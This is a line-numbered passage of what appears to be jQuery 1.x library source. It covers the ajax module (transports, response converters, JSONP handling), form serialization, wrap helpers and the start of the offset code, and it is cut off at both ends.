  5529. xml = new ActiveXObject("Microsoft.XMLDOM");
  5530. xml.async = "false";
  5531. xml.loadXML(data)
  5532. }
  5533. } catch (e) {
  5534. xml = undefined
  5535. }
  5536. if (!xml || !xml.documentElement || xml.getElementsByTagName("parsererror").length) {
  5537. jQuery.error("Invalid XML: " + data)
  5538. }
  5539. return xml
  5540. };
  5541. var ajaxLocParts, ajaxLocation, rhash = /#.*$/,
  5542. rts = /([?&])_=[^&]*/,
  5543. rheaders = /^(.*?):[ \t]*([^\r\n]*)\r?$/mg,
  5544. rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
  5545. rnoContent = /^(?:GET|HEAD)$/,
  5546. rprotocol = /^\/\//,
  5547. rurl = /^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,
  5548. prefilters = {},
  5549. transports = {},
  5550. allTypes = "*/".concat("*");
  5551. try {
  5552. ajaxLocation = location.href
  5553. } catch (e) {
  5554. ajaxLocation = document.createElement("a");
  5555. ajaxLocation.href = "";
  5556. ajaxLocation = ajaxLocation.href
  5557. }
  5558. ajaxLocParts = rurl.exec(ajaxLocation.toLowerCase()) || [];
  5559.  
  5560. function addToPrefiltersOrTransports(structure) {
  5561. return function(dataTypeExpression, func) {
  5562. if (typeof dataTypeExpression !== "string") {
  5563. func = dataTypeExpression;
  5564. dataTypeExpression = "*"
  5565. }
  5566. var dataType, i = 0,
  5567. dataTypes = dataTypeExpression.toLowerCase().match(rnotwhite) || [];
  5568. if (jQuery.isFunction(func)) {
  5569. while ((dataType = dataTypes[i++])) {
  5570. if (dataType.charAt(0) === "+") {
  5571. dataType = dataType.slice(1) || "*";
  5572. (structure[dataType] = structure[dataType] || []).unshift(func)
  5573. } else {
  5574. (structure[dataType] = structure[dataType] || []).push(func)
  5575. }
  5576. }
  5577. }
  5578. }
  5579. }
  5580.  
  5581. function inspectPrefiltersOrTransports(structure, options, originalOptions, jqXHR) {
  5582. var inspected = {},
  5583. seekingTransport = (structure === transports);
  5584.  
  5585. function inspect(dataType) {
  5586. var selected;
  5587. inspected[dataType] = true;
  5588. jQuery.each(structure[dataType] || [], function(_, prefilterOrFactory) {
  5589. var dataTypeOrTransport = prefilterOrFactory(options, originalOptions, jqXHR);
  5590. if (typeof dataTypeOrTransport === "string" && !seekingTransport && !inspected[dataTypeOrTransport]) {
  5591. options.dataTypes.unshift(dataTypeOrTransport);
  5592. inspect(dataTypeOrTransport);
  5593. return false
  5594. } else if (seekingTransport) {
  5595. return !(selected = dataTypeOrTransport)
  5596. }
  5597. });
  5598. return selected
  5599. }
  5600. return inspect(options.dataTypes[0]) || !inspected["*"] && inspect("*")
  5601. }
  5602.  
  5603. function ajaxExtend(target, src) {
  5604. var deep, key, flatOptions = jQuery.ajaxSettings.flatOptions || {};
  5605. for (key in src) {
  5606. if (src[key] !== undefined) {
  5607. (flatOptions[key] ? target : (deep || (deep = {})))[key] = src[key]
  5608. }
  5609. }
  5610. if (deep) {
  5611. jQuery.extend(true, target, deep)
  5612. }
  5613. return target
  5614. }
  5615.  
  5616. function ajaxHandleResponses(s, jqXHR, responses) {
  5617. var firstDataType, ct, finalDataType, type, contents = s.contents,
  5618. dataTypes = s.dataTypes;
  5619. while (dataTypes[0] === "*") {
  5620. dataTypes.shift();
  5621. if (ct === undefined) {
  5622. ct = s.mimeType || jqXHR.getResponseHeader("Content-Type")
  5623. }
  5624. }
  5625. if (ct) {
  5626. for (type in contents) {
  5627. if (contents[type] && contents[type].test(ct)) {
  5628. dataTypes.unshift(type);
  5629. break
  5630. }
  5631. }
  5632. }
  5633. if (dataTypes[0] in responses) {
  5634. finalDataType = dataTypes[0]
  5635. } else {
  5636. for (type in responses) {
  5637. if (!dataTypes[0] || s.converters[type + " " + dataTypes[0]]) {
  5638. finalDataType = type;
  5639. break
  5640. }
  5641. if (!firstDataType) {
  5642. firstDataType = type
  5643. }
  5644. }
  5645. finalDataType = finalDataType || firstDataType
  5646. }
  5647. if (finalDataType) {
  5648. if (finalDataType !== dataTypes[0]) {
  5649. dataTypes.unshift(finalDataType)
  5650. }
  5651. return responses[finalDataType]
  5652. }
  5653. }
  5654.  
  5655. function ajaxConvert(s, response, jqXHR, isSuccess) {
  5656. var conv2, current, conv, tmp, prev, converters = {},
  5657. dataTypes = s.dataTypes.slice();
  5658. if (dataTypes[1]) {
  5659. for (conv in s.converters) {
  5660. converters[conv.toLowerCase()] = s.converters[conv]
  5661. }
  5662. }
  5663. current = dataTypes.shift();
  5664. while (current) {
  5665. if (s.responseFields[current]) {
  5666. jqXHR[s.responseFields[current]] = response
  5667. }
  5668. if (!prev && isSuccess && s.dataFilter) {
  5669. response = s.dataFilter(response, s.dataType)
  5670. }
  5671. prev = current;
  5672. current = dataTypes.shift();
  5673. if (current) {
  5674. if (current === "*") {
  5675. current = prev
  5676. } else if (prev !== "*" && prev !== current) {
  5677. conv = converters[prev + " " + current] || converters["* " + current];
  5678. if (!conv) {
  5679. for (conv2 in converters) {
  5680. tmp = conv2.split(" ");
  5681. if (tmp[1] === current) {
  5682. conv = converters[prev + " " + tmp[0]] || converters["* " + tmp[0]];
  5683. if (conv) {
  5684. if (conv === true) {
  5685. conv = converters[conv2]
  5686. } else if (converters[conv2] !== true) {
  5687. current = tmp[0];
  5688. dataTypes.unshift(tmp[1])
  5689. }
  5690. break
  5691. }
  5692. }
  5693. }
  5694. }
  5695. if (conv !== true) {
  5696. if (conv && s["throws"]) {
  5697. response = conv(response)
  5698. } else {
  5699. try {
  5700. response = conv(response)
  5701. } catch (e) {
  5702. return {
  5703. state: "parsererror",
  5704. error: conv ? e : "No conversion from " + prev + " to " + current
  5705. }
  5706. }
  5707. }
  5708. }
  5709. }
  5710. }
  5711. }
  5712. return {
  5713. state: "success",
  5714. data: response
  5715. }
  5716. }
  5717. jQuery.extend({
  5718. active: 0,
  5719. lastModified: {},
  5720. etag: {},
  5721. ajaxSettings: {
  5722. url: ajaxLocation,
  5723. type: "GET",
  5724. isLocal: rlocalProtocol.test(ajaxLocParts[1]),
  5725. global: true,
  5726. processData: true,
  5727. async: true,
  5728. contentType: "application/x-www-form-urlencoded; charset=UTF-8",
  5729. accepts: {
  5730. "*": allTypes,
  5731. text: "text/plain",
  5732. html: "text/html",
  5733. xml: "application/xml, text/xml",
  5734. json: "application/json, text/javascript"
  5735. },
  5736. contents: {
  5737. xml: /xml/,
  5738. html: /html/,
  5739. json: /json/
  5740. },
  5741. responseFields: {
  5742. xml: "responseXML",
  5743. text: "responseText",
  5744. json: "responseJSON"
  5745. },
  5746. converters: {
  5747. "* text": String,
  5748. "text html": true,
  5749. "text json": jQuery.parseJSON,
  5750. "text xml": jQuery.parseXML
  5751. },
  5752. flatOptions: {
  5753. url: true,
  5754. context: true
  5755. }
  5756. },
  5757. ajaxSetup: function(target, settings) {
  5758. return settings ? ajaxExtend(ajaxExtend(target, jQuery.ajaxSettings), settings) : ajaxExtend(jQuery.ajaxSettings, target)
  5759. },
  5760. ajaxPrefilter: addToPrefiltersOrTransports(prefilters),
  5761. ajaxTransport: addToPrefiltersOrTransports(transports),
  5762. ajax: function(url, options) {
  5763. if (typeof url === "object") {
  5764. options = url;
  5765. url = undefined
  5766. }
  5767. options = options || {};
  5768. var parts, i, cacheURL, responseHeadersString, timeoutTimer, fireGlobals, transport, responseHeaders, s = jQuery.ajaxSetup({}, options),
  5769. callbackContext = s.context || s,
  5770. globalEventContext = s.context && (callbackContext.nodeType || callbackContext.jquery) ? jQuery(callbackContext) : jQuery.event,
  5771. deferred = jQuery.Deferred(),
  5772. completeDeferred = jQuery.Callbacks("once memory"),
  5773. statusCode = s.statusCode || {},
  5774. requestHeaders = {},
  5775. requestHeadersNames = {},
  5776. state = 0,
  5777. strAbort = "canceled",
  5778. jqXHR = {
  5779. readyState: 0,
  5780. getResponseHeader: function(key) {
  5781. var match;
  5782. if (state === 2) {
  5783. if (!responseHeaders) {
  5784. responseHeaders = {};
  5785. while ((match = rheaders.exec(responseHeadersString))) {
  5786. responseHeaders[match[1].toLowerCase()] = match[2]
  5787. }
  5788. }
  5789. match = responseHeaders[key.toLowerCase()]
  5790. }
  5791. return match == null ? null : match
  5792. },
  5793. getAllResponseHeaders: function() {
  5794. return state === 2 ? responseHeadersString : null
  5795. },
  5796. setRequestHeader: function(name, value) {
  5797. var lname = name.toLowerCase();
  5798. if (!state) {
  5799. name = requestHeadersNames[lname] = requestHeadersNames[lname] || name;
  5800. requestHeaders[name] = value
  5801. }
  5802. return this
  5803. },
  5804. overrideMimeType: function(type) {
  5805. if (!state) {
  5806. s.mimeType = type
  5807. }
  5808. return this
  5809. },
  5810. statusCode: function(map) {
  5811. var code;
  5812. if (map) {
  5813. if (state < 2) {
  5814. for (code in map) {
  5815. statusCode[code] = [statusCode[code], map[code]]
  5816. }
  5817. } else {
  5818. jqXHR.always(map[jqXHR.status])
  5819. }
  5820. }
  5821. return this
  5822. },
  5823. abort: function(statusText) {
  5824. var finalText = statusText || strAbort;
  5825. if (transport) {
  5826. transport.abort(finalText)
  5827. }
  5828. done(0, finalText);
  5829. return this
  5830. }
  5831. };
  5832. deferred.promise(jqXHR).complete = completeDeferred.add;
  5833. jqXHR.success = jqXHR.done;
  5834. jqXHR.error = jqXHR.fail;
  5835. s.url = ((url || s.url || ajaxLocation) + "").replace(rhash, "").replace(rprotocol, ajaxLocParts[1] + "//");
  5836. s.type = options.method || options.type || s.method || s.type;
  5837. s.dataTypes = jQuery.trim(s.dataType || "*").toLowerCase().match(rnotwhite) || [""];
  5838. if (s.crossDomain == null) {
  5839. parts = rurl.exec(s.url.toLowerCase());
  5840. s.crossDomain = !!(parts && (parts[1] !== ajaxLocParts[1] || parts[2] !== ajaxLocParts[2] || (parts[3] || (parts[1] === "http:" ? "80" : "443")) !== (ajaxLocParts[3] || (ajaxLocParts[1] === "http:" ? "80" : "443"))))
  5841. }
  5842. if (s.data && s.processData && typeof s.data !== "string") {
  5843. s.data = jQuery.param(s.data, s.traditional)
  5844. }
  5845. inspectPrefiltersOrTransports(prefilters, s, options, jqXHR);
  5846. if (state === 2) {
  5847. return jqXHR
  5848. }
  5849. fireGlobals = jQuery.event && s.global;
  5850. if (fireGlobals && jQuery.active++ === 0) {
  5851. jQuery.event.trigger("ajaxStart")
  5852. }
  5853. s.type = s.type.toUpperCase();
  5854. s.hasContent = !rnoContent.test(s.type);
  5855. cacheURL = s.url;
  5856. if (!s.hasContent) {
  5857. if (s.data) {
  5858. cacheURL = (s.url += (rquery.test(cacheURL) ? "&" : "?") + s.data);
  5859. delete s.data
  5860. }
  5861. if (s.cache === false) {
  5862. s.url = rts.test(cacheURL) ? cacheURL.replace(rts, "$1_=" + nonce++) : cacheURL + (rquery.test(cacheURL) ? "&" : "?") + "_=" + nonce++
  5863. }
  5864. }
  5865. if (s.ifModified) {
  5866. if (jQuery.lastModified[cacheURL]) {
  5867. jqXHR.setRequestHeader("If-Modified-Since", jQuery.lastModified[cacheURL])
  5868. }
  5869. if (jQuery.etag[cacheURL]) {
  5870. jqXHR.setRequestHeader("If-None-Match", jQuery.etag[cacheURL])
  5871. }
  5872. }
  5873. if (s.data && s.hasContent && s.contentType !== false || options.contentType) {
  5874. jqXHR.setRequestHeader("Content-Type", s.contentType)
  5875. }
  5876. jqXHR.setRequestHeader("Accept", s.dataTypes[0] && s.accepts[s.dataTypes[0]] ? s.accepts[s.dataTypes[0]] + (s.dataTypes[0] !== "*" ? ", " + allTypes + "; q=0.01" : "") : s.accepts["*"]);
  5877. for (i in s.headers) {
  5878. jqXHR.setRequestHeader(i, s.headers[i])
  5879. }
  5880. if (s.beforeSend && (s.beforeSend.call(callbackContext, jqXHR, s) === false || state === 2)) {
  5881. return jqXHR.abort()
  5882. }
  5883. strAbort = "abort";
  5884. for (i in {
  5885. success: 1,
  5886. error: 1,
  5887. complete: 1
  5888. }) {
  5889. jqXHR[i](s[i])
  5890. }
  5891. transport = inspectPrefiltersOrTransports(transports, s, options, jqXHR);
  5892. if (!transport) {
  5893. done(-1, "No Transport")
  5894. } else {
  5895. jqXHR.readyState = 1;
  5896. if (fireGlobals) {
  5897. globalEventContext.trigger("ajaxSend", [jqXHR, s])
  5898. }
  5899. if (s.async && s.timeout > 0) {
  5900. timeoutTimer = setTimeout(function() {
  5901. jqXHR.abort("timeout")
  5902. }, s.timeout)
  5903. }
  5904. try {
  5905. state = 1;
  5906. transport.send(requestHeaders, done)
  5907. } catch (e) {
  5908. if (state < 2) {
  5909. done(-1, e)
  5910. } else {
  5911. throw e;
  5912. }
  5913. }
  5914. }
  5915.  
  5916. function done(status, nativeStatusText, responses, headers) {
  5917. var isSuccess, success, error, response, modified, statusText = nativeStatusText;
  5918. if (state === 2) {
  5919. return
  5920. }
  5921. state = 2;
  5922. if (timeoutTimer) {
  5923. clearTimeout(timeoutTimer)
  5924. }
  5925. transport = undefined;
  5926. responseHeadersString = headers || "";
  5927. jqXHR.readyState = status > 0 ? 4 : 0;
  5928. isSuccess = status >= 200 && status < 300 || status === 304;
  5929. if (responses) {
  5930. response = ajaxHandleResponses(s, jqXHR, responses)
  5931. }
  5932. response = ajaxConvert(s, response, jqXHR, isSuccess);
  5933. if (isSuccess) {
  5934. if (s.ifModified) {
  5935. modified = jqXHR.getResponseHeader("Last-Modified");
  5936. if (modified) {
  5937. jQuery.lastModified[cacheURL] = modified
  5938. }
  5939. modified = jqXHR.getResponseHeader("etag");
  5940. if (modified) {
  5941. jQuery.etag[cacheURL] = modified
  5942. }
  5943. }
  5944. if (status === 204 || s.type === "HEAD") {
  5945. statusText = "nocontent"
  5946. } else if (status === 304) {
  5947. statusText = "notmodified"
  5948. } else {
  5949. statusText = response.state;
  5950. success = response.data;
  5951. error = response.error;
  5952. isSuccess = !error
  5953. }
  5954. } else {
  5955. error = statusText;
  5956. if (status || !statusText) {
  5957. statusText = "error";
  5958. if (status < 0) {
  5959. status = 0
  5960. }
  5961. }
  5962. }
  5963. jqXHR.status = status;
  5964. jqXHR.statusText = (nativeStatusText || statusText) + "";
  5965. if (isSuccess) {
  5966. deferred.resolveWith(callbackContext, [success, statusText, jqXHR])
  5967. } else {
  5968. deferred.rejectWith(callbackContext, [jqXHR, statusText, error])
  5969. }
  5970. jqXHR.statusCode(statusCode);
  5971. statusCode = undefined;
  5972. if (fireGlobals) {
  5973. globalEventContext.trigger(isSuccess ? "ajaxSuccess" : "ajaxError", [jqXHR, s, isSuccess ? success : error])
  5974. }
  5975. completeDeferred.fireWith(callbackContext, [jqXHR, statusText]);
  5976. if (fireGlobals) {
  5977. globalEventContext.trigger("ajaxComplete", [jqXHR, s]);
  5978. if (!(--jQuery.active)) {
  5979. jQuery.event.trigger("ajaxStop")
  5980. }
  5981. }
  5982. }
  5983. return jqXHR
  5984. },
  5985. getJSON: function(url, data, callback) {
  5986. return jQuery.get(url, data, callback, "json")
  5987. },
  5988. getScript: function(url, callback) {
  5989. return jQuery.get(url, undefined, callback, "script")
  5990. }
  5991. });
  5992. jQuery.each(["get", "post"], function(i, method) {
  5993. jQuery[method] = function(url, data, callback, type) {
  5994. if (jQuery.isFunction(data)) {
  5995. type = type || callback;
  5996. callback = data;
  5997. data = undefined
  5998. }
  5999. return jQuery.ajax({
  6000. url: url,
  6001. type: method,
  6002. dataType: type,
  6003. data: data,
  6004. success: callback
  6005. })
  6006. }
  6007. });
  6008. jQuery._evalUrl = function(url) {
  6009. return jQuery.ajax({
  6010. url: url,
  6011. type: "GET",
  6012. dataType: "script",
  6013. async: false,
  6014. global: false,
  6015. "throws": true
  6016. })
  6017. };
  6018. jQuery.fn.extend({
  6019. wrapAll: function(html) {
  6020. if (jQuery.isFunction(html)) {
  6021. return this.each(function(i) {
  6022. jQuery(this).wrapAll(html.call(this, i))
  6023. })
  6024. }
  6025. if (this[0]) {
  6026. var wrap = jQuery(html, this[0].ownerDocument).eq(0).clone(true);
  6027. if (this[0].parentNode) {
  6028. wrap.insertBefore(this[0])
  6029. }
  6030. wrap.map(function() {
  6031. var elem = this;
  6032. while (elem.firstChild && elem.firstChild.nodeType === 1) {
  6033. elem = elem.firstChild
  6034. }
  6035. return elem
  6036. }).append(this)
  6037. }
  6038. return this
  6039. },
  6040. wrapInner: function(html) {
  6041. if (jQuery.isFunction(html)) {
  6042. return this.each(function(i) {
  6043. jQuery(this).wrapInner(html.call(this, i))
  6044. })
  6045. }
  6046. return this.each(function() {
  6047. var self = jQuery(this),
  6048. contents = self.contents();
  6049. if (contents.length) {
  6050. contents.wrapAll(html)
  6051. } else {
  6052. self.append(html)
  6053. }
  6054. })
  6055. },
  6056. wrap: function(html) {
  6057. var isFunction = jQuery.isFunction(html);
  6058. return this.each(function(i) {
  6059. jQuery(this).wrapAll(isFunction ? html.call(this, i) : html)
  6060. })
  6061. },
  6062. unwrap: function() {
  6063. return this.parent().each(function() {
  6064. if (!jQuery.nodeName(this, "body")) {
  6065. jQuery(this).replaceWith(this.childNodes)
  6066. }
  6067. }).end()
  6068. }
  6069. });
  6070. jQuery.expr.filters.hidden = function(elem) {
  6071. return elem.offsetWidth <= 0 && elem.offsetHeight <= 0 || (!support.reliableHiddenOffsets() && ((elem.style && elem.style.display) || jQuery.css(elem, "display")) === "none")
  6072. };
  6073. jQuery.expr.filters.visible = function(elem) {
  6074. return !jQuery.expr.filters.hidden(elem)
  6075. };
  6076. var r20 = /%20/g,
  6077. rbracket = /\[\]$/,
  6078. rCRLF = /\r?\n/g,
  6079. rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,
  6080. rsubmittable = /^(?:input|select|textarea|keygen)/i;
  6081.  
  6082. function buildParams(prefix, obj, traditional, add) {
  6083. var name;
  6084. if (jQuery.isArray(obj)) {
  6085. jQuery.each(obj, function(i, v) {
  6086. if (traditional || rbracket.test(prefix)) {
  6087. add(prefix, v)
  6088. } else {
  6089. buildParams(prefix + "[" + (typeof v === "object" ? i : "") + "]", v, traditional, add)
  6090. }
  6091. })
  6092. } else if (!traditional && jQuery.type(obj) === "object") {
  6093. for (name in obj) {
  6094. buildParams(prefix + "[" + name + "]", obj[name], traditional, add)
  6095. }
  6096. } else {
  6097. add(prefix, obj)
  6098. }
  6099. }
  6100. jQuery.param = function(a, traditional) {
  6101. var prefix, s = [],
  6102. add = function(key, value) {
  6103. value = jQuery.isFunction(value) ? value() : (value == null ? "" : value);
  6104. s[s.length] = encodeURIComponent(key) + "=" + encodeURIComponent(value)
  6105. };
  6106. if (traditional === undefined) {
  6107. traditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional
  6108. }
  6109. if (jQuery.isArray(a) || (a.jquery && !jQuery.isPlainObject(a))) {
  6110. jQuery.each(a, function() {
  6111. add(this.name, this.value)
  6112. })
  6113. } else {
  6114. for (prefix in a) {
  6115. buildParams(prefix, a[prefix], traditional, add)
  6116. }
  6117. }
  6118. return s.join("&").replace(r20, "+")
  6119. };
  6120. jQuery.fn.extend({
  6121. serialize: function() {
  6122. return jQuery.param(this.serializeArray())
  6123. },
  6124. serializeArray: function() {
  6125. return this.map(function() {
  6126. var elements = jQuery.prop(this, "elements");
  6127. return elements ? jQuery.makeArray(elements) : this
  6128. }).filter(function() {
  6129. var type = this.type;
  6130. return this.name && !jQuery(this).is(":disabled") && rsubmittable.test(this.nodeName) && !rsubmitterTypes.test(type) && (this.checked || !rcheckableType.test(type))
  6131. }).map(function(i, elem) {
  6132. var val = jQuery(this).val();
  6133. return val == null ? null : jQuery.isArray(val) ? jQuery.map(val, function(val) {
  6134. return {
  6135. name: elem.name,
  6136. value: val.replace(rCRLF, "\r\n")
  6137. }
  6138. }) : {
  6139. name: elem.name,
  6140. value: val.replace(rCRLF, "\r\n")
  6141. }
  6142. }).get()
  6143. }
  6144. });
  6145. jQuery.ajaxSettings.xhr = window.ActiveXObject !== undefined ? function() {
  6146. return !this.isLocal && /^(get|post|head|put|delete|options)$/i.test(this.type) && createStandardXHR() || createActiveXHR()
  6147. } : createStandardXHR;
  6148. var xhrId = 0,
  6149. xhrCallbacks = {},
  6150. xhrSupported = jQuery.ajaxSettings.xhr();
  6151. if (window.attachEvent) {
  6152. window.attachEvent("onunload", function() {
  6153. for (var key in xhrCallbacks) {
  6154. xhrCallbacks[key](undefined, true)
  6155. }
  6156. })
  6157. }
  6158. support.cors = !!xhrSupported && ("withCredentials" in xhrSupported);
  6159. xhrSupported = support.ajax = !!xhrSupported;
  6160. if (xhrSupported) {
  6161. jQuery.ajaxTransport(function(options) {
  6162. if (!options.crossDomain || support.cors) {
  6163. var callback;
  6164. return {
  6165. send: function(headers, complete) {
  6166. var i, xhr = options.xhr(),
  6167. id = ++xhrId;
  6168. xhr.open(options.type, options.url, options.async, options.username, options.password);
  6169. if (options.xhrFields) {
  6170. for (i in options.xhrFields) {
  6171. xhr[i] = options.xhrFields[i]
  6172. }
  6173. }
  6174. if (options.mimeType && xhr.overrideMimeType) {
  6175. xhr.overrideMimeType(options.mimeType)
  6176. }
  6177. if (!options.crossDomain && !headers["X-Requested-With"]) {
  6178. headers["X-Requested-With"] = "XMLHttpRequest"
  6179. }
  6180. for (i in headers) {
  6181. if (headers[i] !== undefined) {
  6182. xhr.setRequestHeader(i, headers[i] + "")
  6183. }
  6184. }
  6185. xhr.send((options.hasContent && options.data) || null);
  6186. callback = function(_, isAbort) {
  6187. var status, statusText, responses;
  6188. if (callback && (isAbort || xhr.readyState === 4)) {
  6189. delete xhrCallbacks[id];
  6190. callback = undefined;
  6191. xhr.onreadystatechange = jQuery.noop;
  6192. if (isAbort) {
  6193. if (xhr.readyState !== 4) {
  6194. xhr.abort()
  6195. }
  6196. } else {
  6197. responses = {};
  6198. status = xhr.status;
  6199. if (typeof xhr.responseText === "string") {
  6200. responses.text = xhr.responseText
  6201. }
  6202. try {
  6203. statusText = xhr.statusText
  6204. } catch (e) {
  6205. statusText = ""
  6206. }
  6207. if (!status && options.isLocal && !options.crossDomain) {
  6208. status = responses.text ? 200 : 404
  6209. } else if (status === 1223) {
  6210. status = 204
  6211. }
  6212. }
  6213. }
  6214. if (responses) {
  6215. complete(status, statusText, responses, xhr.getAllResponseHeaders())
  6216. }
  6217. };
  6218. if (!options.async) {
  6219. callback()
  6220. } else if (xhr.readyState === 4) {
  6221. setTimeout(callback)
  6222. } else {
  6223. xhr.onreadystatechange = xhrCallbacks[id] = callback
  6224. }
  6225. },
  6226. abort: function() {
  6227. if (callback) {
  6228. callback(undefined, true)
  6229. }
  6230. }
  6231. }
  6232. }
  6233. })
  6234. }
  6235. function createStandardXHR() {
  6236. try {
  6237. return new window.XMLHttpRequest()
  6238. } catch (e) {}
  6239. }
  6240.  
  6241. function createActiveXHR() {
  6242. try {
  6243. return new window.ActiveXObject("Microsoft.XMLHTTP")
  6244. } catch (e) {}
  6245. }
  6246. jQuery.ajaxSetup({
  6247. accepts: {
  6248. script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
  6249. },
  6250. contents: {
  6251. script: /(?:java|ecma)script/
  6252. },
  6253. converters: {
  6254. "text script": function(text) {
  6255. jQuery.globalEval(text);
  6256. return text
  6257. }
  6258. }
  6259. });
  6260. jQuery.ajaxPrefilter("script", function(s) {
  6261. if (s.cache === undefined) {
  6262. s.cache = false
  6263. }
  6264. if (s.crossDomain) {
  6265. s.type = "GET";
  6266. s.global = false
  6267. }
  6268. });
  6269. jQuery.ajaxTransport("script", function(s) {
  6270. if (s.crossDomain) {
  6271. var script, head = document.head || jQuery("head")[0] || document.documentElement;
  6272. return {
  6273. send: function(_, callback) {
  6274. script = document.createElement("script");
  6275. script.async = true;
  6276. if (s.scriptCharset) {
  6277. script.charset = s.scriptCharset
  6278. }
  6279. script.src = s.url;
  6280. script.onload = script.onreadystatechange = function(_, isAbort) {
  6281. if (isAbort || !script.readyState || /loaded|complete/.test(script.readyState)) {
  6282. script.onload = script.onreadystatechange = null;
  6283. if (script.parentNode) {
  6284. script.parentNode.removeChild(script)
  6285. }
  6286. script = null;
  6287. if (!isAbort) {
  6288. callback(200, "success")
  6289. }
  6290. }
  6291. };
  6292. head.insertBefore(script, head.firstChild)
  6293. },
  6294. abort: function() {
  6295. if (script) {
  6296. script.onload(undefined, true)
  6297. }
  6298. }
  6299. }
  6300. }
  6301. });
  6302. var oldCallbacks = [],
  6303. rjsonp = /(=)\?(?=&|$)|\?\?/;
  6304. jQuery.ajaxSetup({
  6305. jsonp: "callback",
  6306. jsonpCallback: function() {
  6307. var callback = oldCallbacks.pop() || (jQuery.expando + "_" + (nonce++));
  6308. this[callback] = true;
  6309. return callback
  6310. }
  6311. });
  6312. jQuery.ajaxPrefilter("json jsonp", function(s, originalSettings, jqXHR) {
  6313. var callbackName, overwritten, responseContainer, jsonProp = s.jsonp !== false && (rjsonp.test(s.url) ? "url" : typeof s.data === "string" && !(s.contentType || "").indexOf("application/x-www-form-urlencoded") && rjsonp.test(s.data) && "data");
  6314. if (jsonProp || s.dataTypes[0] === "jsonp") {
  6315. callbackName = s.jsonpCallback = jQuery.isFunction(s.jsonpCallback) ? s.jsonpCallback() : s.jsonpCallback;
  6316. if (jsonProp) {
  6317. s[jsonProp] = s[jsonProp].replace(rjsonp, "$1" + callbackName)
  6318. } else if (s.jsonp !== false) {
  6319. s.url += (rquery.test(s.url) ? "&" : "?") + s.jsonp + "=" + callbackName
  6320. }
  6321. s.converters["script json"] = function() {
  6322. if (!responseContainer) {
  6323. jQuery.error(callbackName + " was not called")
  6324. }
  6325. return responseContainer[0]
  6326. };
  6327. s.dataTypes[0] = "json";
  6328. overwritten = window[callbackName];
  6329. window[callbackName] = function() {
  6330. responseContainer = arguments
  6331. };
  6332. jqXHR.always(function() {
  6333. window[callbackName] = overwritten;
  6334. if (s[callbackName]) {
  6335. s.jsonpCallback = originalSettings.jsonpCallback;
  6336. oldCallbacks.push(callbackName)
  6337. }
  6338. if (responseContainer && jQuery.isFunction(overwritten)) {
  6339. overwritten(responseContainer[0])
  6340. }
  6341. responseContainer = overwritten = undefined
  6342. });
  6343. return "script"
  6344. }
  6345. });
  6346. jQuery.parseHTML = function(data, context, keepScripts) {
  6347. if (!data || typeof data !== "string") {
  6348. return null
  6349. }
  6350. if (typeof context === "boolean") {
  6351. keepScripts = context;
  6352. context = false
  6353. }
  6354. context = context || document;
  6355. var parsed = rsingleTag.exec(data),
  6356. scripts = !keepScripts && [];
  6357. if (parsed) {
  6358. return [context.createElement(parsed[1])]
  6359. }
  6360. parsed = jQuery.buildFragment([data], context, scripts);
  6361. if (scripts && scripts.length) {
  6362. jQuery(scripts).remove()
  6363. }
  6364. return jQuery.merge([], parsed.childNodes)
  6365. };
  6366. var _load = jQuery.fn.load;
  6367. jQuery.fn.load = function(url, params, callback) {
  6368. if (typeof url !== "string" && _load) {
  6369. return _load.apply(this, arguments)
  6370. }
  6371. var selector, response, type, self = this,
  6372. off = url.indexOf(" ");
  6373. if (off >= 0) {
  6374. selector = jQuery.trim(url.slice(off, url.length));
  6375. url = url.slice(0, off)
  6376. }
  6377. if (jQuery.isFunction(params)) {
  6378. callback = params;
  6379. params = undefined
  6380. } else if (params && typeof params === "object") {
  6381. type = "POST"
  6382. }
  6383. if (self.length > 0) {
  6384. jQuery.ajax({
  6385. url: url,
  6386. type: type,
  6387. dataType: "html",
  6388. data: params
  6389. }).done(function(responseText) {
  6390. response = arguments;
  6391. self.html(selector ? jQuery("<div>").append(jQuery.parseHTML(responseText)).find(selector) : responseText)
  6392. }).complete(callback && function(jqXHR, status) {
  6393. self.each(callback, response || [jqXHR.responseText, status, jqXHR])
  6394. })
  6395. }
  6396. return this
  6397. };
  6398. jQuery.each(["ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend"], function(i, type) {
  6399. jQuery.fn[type] = function(fn) {
  6400. return this.on(type, fn)
  6401. }
  6402. });
  6403. jQuery.expr.filters.animated = function(elem) {
  6404. return jQuery.grep(jQuery.timers, function(fn) {
  6405. return elem === fn.elem
  6406. }).length
  6407. };
  6408. var docElem = window.document.documentElement;
  6409.  
  6410. function getWindow(elem) {
  6411. return jQuery.isWindow(elem) ? elem : elem.nodeType === 9 ? elem.defaultView || elem.parentWindow : false
  6412. }
  6413. jQuery.offset = {
  6414. setOffset: function(elem, options, i) {
  6415. var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition, position = jQuery.css(elem, "position"),
  6416. curElem = jQuery(elem),
  6417. props = {};
  6418. if (position === "static") {
  6419. elem.style.position = "relative"
  6420. }
  6421. curOffset = curElem.offset();
  6422. curCSSTop = jQuery.css(elem, "top");
  6423. curCSSLeft = jQuery.css(elem, "left");
  6424. calculatePosition = (position === "absolute" || position === "fixed") && jQuery.inArray("auto", [curCSSTop, curCSSLeft]) > -1;
  6425. if (calculatePosition) {
  6426. curPosition = curElem.position();
  6427. curTop = curPosition.top;
  6428. curLeft = curPosition.left
  6429. } else {
  6430. curTop = parseFloat(curCSSTop) || 0;
  6431. curLeft = parseFloat(curCSSLeft) || 0
  6432. }
  6433. if (jQuery.isFunction(options)) {
  6434. options = options.call(elem, i, curOffset)
  6435. }
  6436. if (options.top != null) {
  6437. props.top = (options.top - curOffset.top) + curTop
  6438. }
  6439. if (options.left != null) {
  6440. props.left = (options.left - curOffset.left) + curLeft
  6441. }
  6442. if ("using" in options) {
  6443. options.using.call(elem, props)
  6444. } else {
  6445. curElem.css(props)
  6446. }
  6447. }
  6448. };
  6449. jQuery.fn.extend({
  6450. offset: function(options) {
  6451. if (arguments.length) {
  6452. return options === undefined ? this : this.each(function(i) {
  6453. jQuery.offset.setOffset(this, options, i)
  6454. })
  6455. }
  6456. var docElem, win, box = {
  6457. top: 0,
